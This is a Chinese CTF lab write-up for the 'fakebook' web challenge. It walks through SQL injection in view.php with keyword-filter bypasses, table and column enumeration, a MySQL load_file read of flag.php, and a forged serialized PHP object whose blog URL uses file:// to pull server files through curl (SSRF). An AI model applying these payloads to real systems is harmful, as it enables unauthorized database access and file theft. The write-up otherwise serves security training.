攻防世界(Web進階區)——fakebook

 

這個思路可能並不是靶場原本想要讓用戶做的,但也無妨吧,怎樣不是做呢。象棋高手總結了幾十年的經驗,也可能會輸給新入門的新手。新手經驗不足,更不談什麼戰術,無心的一步棋,可能會讓老者思前顧後,露出弱點。

 

進入靶場:

除了一個login登陸按鈕,還有一個join註冊按鈕。開始之前,一般會習慣性的掃描下目錄,看看有什麼漏掉的文件。如果大家經常刷題,可以自己寫一個目錄掃描工具,然後自己整理一套有針對性的刷題字典。因爲在刷題的過程中,我們會發現用到的就那麼幾個:index.html,robotx.txt,flag.txt,flag.php,flag.phps等等之類的。遇到一個字典裏存一個,每次刷題用自己的小字典過一遍,速率會提高很多。

我之前寫過一個,根據響應狀態碼是否爲200來判斷頁面是否存在。但是對此靶場來說,要靈活運用下:

          

輸出的每條信息分爲三部分:請求URL,響應狀態碼,響應內容的長度。有個奇怪的問題,會發現所有的請求響應碼全是200,但是通過長度,你基本可以判斷,請求不存在的路徑時,都會返回同一個頁面。那麼根據響應長度,基本也就可以判斷兩個隱藏頁面的存在:robots.txt和flag.php。

 

都有flag.php了,我們還玩什麼呢?有是有,但是響應內容爲空呀。如果我們確定了一個頁面存在,訪問後頁面內容爲空,有兩種情況,要麼頁面本身就沒有內容,那我們還玩個錘兒啊。再來就是沒有訪問權限,服務器禁止通過HTTP直接請求flag.php文件。那接下來我們所有的思路就可以明確,就是要找系統中能夠訪問flag.php的其他方式。

 

(SSRF,服務器端請求僞造,全稱Server-Side Request Forgery,是一種由攻擊者構造形成由服務端發起請求的一個安全漏洞。現在,我們通過瀏覽器直接訪問flag.php內容並不返回內容,這個請求對於服務器來說是外部請求。當攻擊者可以通過SSRF讓服務器內部功能訪問flag文件時,這種外部禁止訪問的限制也就會相應消失。)

 

我們可以返回靶場試下,返回長度爲1181的,頁面都是最開始主頁,驗證了最開始的想法。而“君子協議”裏面有個user.php.bak不允許訪問,所以我們要訪問一下。

                                 

直接請求,會將bak文件下載到本地。我們知道bak文件一般屬於備份文件,即back-up。在項目發佈前,爲了避免泄露信息,這些東西都是要刪除的。

文件內容:

<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

是一個UserInfo類,類對象有三個屬性:name,age,blog。其餘的部分有兩個函數特殊些,一個get,一個isValidBlog。get方法通過curl發送請求(curl是一個利用url語法工作的傳輸工具,此例中的使用,即獲得指定url的頁面內容。詳細內容,請自行查閱補充),且並未對參數url進行過濾,這種不對用戶可控參數過濾的,我們就要重點對待下。isValidBlog函數是對blog參數進行的正則匹配,猜測對用戶的輸入格式進行了一定的限制。(getBlogContents函數調用了get函數,同樣需要關注。)

 

初步的掃描工作已經完成,返回頁面吧。

 

對於有登錄,有註冊的例題,我們要習慣性的嘗試下弱口令:

                                   

結果全部彈窗提示“login failed”,換註冊窗口,瞎註冊一個,既然沒有admin,那就註冊個admin吧:

                                   

(此處的blog要求有一定的格式,isvalidblog函數檢測輸入的是不是一個有效URL,不過有“.”貌似就可以繞過了。並不清楚isvalidblog函數是否處理的此頁面。)

admin註冊成功了,你敢信?(一個良好的習慣是,對每一個POST提交表單都抓包跑一下。我很懶,閒抓包麻煩,就跳過了。也因此錯過了一個可利用漏洞,在註冊頁面中的username一欄存在注入。)

 

整個頁面除了藍色用戶名“admin”可以點擊之外,沒什麼有價值的東西。查看下源碼也毫無收穫,那就點擊“admin”吧。

整個頁面如上圖所示,顯示了用戶信息。還有個博客內容列表,不過沒有東西。查看下源碼你會發現,最下面是個iframe。

                        

iframe的內容通過data僞協議獲取,此處data協議的使用格式爲:data:text/html;base64,<base64編碼的HTML代碼>

 

吶,拿到一個點,如果我們想辦法讓data協議後面接上flag.php的內容,是不是就能達到顯示目的了。同時也來了兩個問題:一,flag文件的路徑並不清楚,通過掃描,我們只曉得它和主頁面在同一目錄下。二、如何將內容添加到data協議後面。

(反正我是沒想到~)

 

整個頁面還剩一個點,就是這個no參數:

                                              

把它換成0或者換成2,頁面返回全部報錯。但獲得了重要信息,路徑有了:

 

                            

當然,這個信息說重要也重要,說不重要也就那樣。因爲玩的多了,我們發現路徑一般都是/var/www/html。致此,確定一點flag文件路徑爲:/var/www/html/flag.php。

 

遇到了參數我們就要考慮注入呀,判斷下:

view.php?no=1 and 1=1#
view.php?no=1 and 1=2#

一正常,一報錯,存在注入無疑了。

 

第一步,先判斷原sql語句查詢的字段數,頁面上就顯示3個,那字段數肯定從3起步了。分別測試3,4,5後。可以判斷SQL語句查詢字段數爲4,大概猜也能猜個差不多,應該就是註冊時候的用戶名、年齡、密碼、blog。(誰能想到,看似完美的有依據的猜,就是懵,而且還懵錯了。)

view.php?no=1 order by 3#
view.php?no=1 order by 4#
view.php?no=1 order by 5#

       

(報錯信息裏面又提到了一個文件db.php,我們很簡單的能猜到,這是和數據庫有關係的文件。這裏你就可以把文件名整理到你自己的小字典裏,爲自己以後使用。當時並未注意到這點,不知db.php能否直接訪問,大家可以試下。)

 

之後嘗試用union select看看哪個字段可以回顯利用,爲了不讓我們構造的select語句與原來語句的結果混在一起,將原語句查詢結果置爲空(no=2):

view.php?no=2 union select 1,2,3,4#

然後一個suprise,頁面返回“no hack[手動哭臉]”,被發現了。

                                                            

害,那就想辦法繞過唄。嘗試修改大小寫,嘗試複寫union和select,最後發現應該是檢測"union select"這個字符串,且不區分大小寫。嘗試用/**/或者++替換空格,都可以繞過:

view.php?no=2 UniOn select 1,2,3,4#
view.php?no=2 union SelEct 1,2,3,4#
view.php?no=2 uunionnion selselectect 1,2,3,4#

view.php?no=2 union/**/select 1,2,3,4#
view.php?no=2 union++select 1,2,3,4#

通過頁面的返回結果,可以發現第二個字段可以回顯利用:

到了這裏,我會先看下當前數據庫用戶和數據庫名稱:

view.php?no=2 union++select 1,user(),3,4#
view.php?no=2 union++select 1,database(),3,4#

                                                   

先拋開數據庫名fakebook不說,這個root用戶着實嚇了一跳,權限之高,亮瞎狗眼。mysql中的load_file函數,允許訪問系統文件,並將內容以字符串形式返回,不過需要的權限很高,且函數參數要求文件的絕對路徑。這巧了不是,條件全都有。

view.php?no=2 union/**/select 1,load_file("/var/www/html/flag.php"),3,4#

                                     

回顯部分並沒有顯示內容,查看下源碼:

                                            

得,打完收工。

(你會發現,前面蒐集的好多點全部沒用到,尤其是那個嚴重可疑的iframe,那如果不用root權限,還要繼續嗎?)

 

 

--------------------------------------------------------友好線----------------------------------------------------

不用load_file,繼續注入下去。現在已經拿到了數據庫名:fakebook,接下來拿表名:

view.php?no=2 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema="fakebook"#

發現就一個表:users

                                                               

找表的字段:

view.php?no=2 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name="users"#

                  

no,username,passwd,data四個字段,後面有幾個未知字段,猜測是系統變量。

 

我們知道最開始註冊的no爲1,username和passwd也都知道是什麼,唯獨data字段的信息不明確,拿出來看看吧。

view.php?no=2 union/**/select 1,group_concat(username,passwd,data),3,4 from users where no=1#

可以看到admin中間部分爲加密後的密碼,最後的data內容很可疑。單獨輸出下:

                                    

啊,是個序列化後的UserInfo對象,這和我們最開始得到的那個備份文件契合了。

 

接下來的東西,我認爲需要猜。最開始時的用戶頁面no=1時,頁面返回用戶的用戶名、密碼、博客之類的消息。毫無疑問,頁面是根據users表中no=1的這條數據,渲染的頁面。因爲回顯,我們只證明了查詢語句的第二個字段是username。其餘三個字段並不明確,但我們可以猜測,應該和數據庫表中的字段順序相似。第四個字段應該就是data,而我們現在有一個現成的data數據,能否模擬下?

view.php?no=2 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:123;s:4:"blog";s:8:"123.blog";}'

你會發現頁面正常返回了:

注意no現在的值爲2,我們知道這個用戶是不存在的。換而言之,原SQL語句的查詢結果爲空,而我們通過union加入了我們構造的查詢語句,讓SQL語句有了查詢結果,並且此查詢結果符合頁面渲染要求,所以頁面正常顯示了。

 

並且由此得知,只要有data字段的對象序列,就可以成功渲染頁面,其他字段並不是很重要。(頁面中age和blog的值,顯然也都是從序列化的對象裏面得到的)

 

接下來就是讓我迷的點,你修改對象序列裏面的blog參數內容:

s:4:"blog";s:29:"file:///var/www/html/flag.php";

 

用file僞協議讀取flag內容交給blog參數,然後你再查看源碼,iframe的src就發生了變化:

view.php?no=2%20union/**/select%201,2,3,%27O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}%27

src成了這麼一段東西:

data:text/html;base64,PD9waHANCg0KJGZsYWcgPSAiZmxhZ3tjMWU1NTJmZGY3NzA0OWZhYmY2NTE2OGYyMmY3YWVhYn0iOw0KZXhpdCgwKTsNCg==

我們知道base64,後面是經過base64編碼的,拿出來解下碼:

          

回想剛剛的問題,如何想到的修改序列裏面的blog參數呢?最開始blog參數值爲123.blog,源碼裏iframe的src並沒有什麼變化。

個人認爲,如果靶場想啓發用戶修改blog參數值,應當在blog值被修改後,源碼裏的src適當變化下,讓用戶知道,這個點可以使用。無論怎樣換blog參數,src沒有任何變化,就很難想到再跟進一步的利用僞協議去讀取內容了。

 

當然,如果怪沒有提示,也並不準確,因爲有個點,我們還沒用到。詳細看最開始我們得到的備份文件:

                                

getBlogContent函數,我們猜也是個獲取blog內容的函數。而其內部調用了我們一開始就說有問題的get函數,接受一個url,並將指定url的內容返回。換而言之,只要blog參數是可以請求到內容,返回不爲404的,getBlogContents函數即有返回結果。毫無疑問,僞協議file就能達到要求。

 

那我們換個鏈接請求下唄:

view.php?no=2%20union/**/select%201,2,3,%27O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:123;s:4:"blog";s:26:"http://111.198.29.45:34016";}%27

就換成靶場最開始的主頁。

 

查看源碼:

果不其然,將其base64轉碼,應該就能得到主頁的源碼了。

 

所以致此,我們可以總結下來。getBlogContents函數調用get函數,把unserinfo類中的blog參數當做一個URL,得到請求內容。而頁面裏iframe裏的src根據得到的內容進行頁面渲染。

 

正確的思路流程應當爲,得到備份文件,明確getBlogContents函數通過一個URL獲取內容,並且URL由類實例化對象的blog參數提供。然後在構造userinfo對象序列化發現頁面可以正常返回之後,就嘗試修改序列化中的blog參數,發現頁面中iframe的src暴露信息,進而想到可以使用僞協議讀取flag,並讓src顯示。

 

其實,在構造blog的時候,報錯信息也一直在給予提示:

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章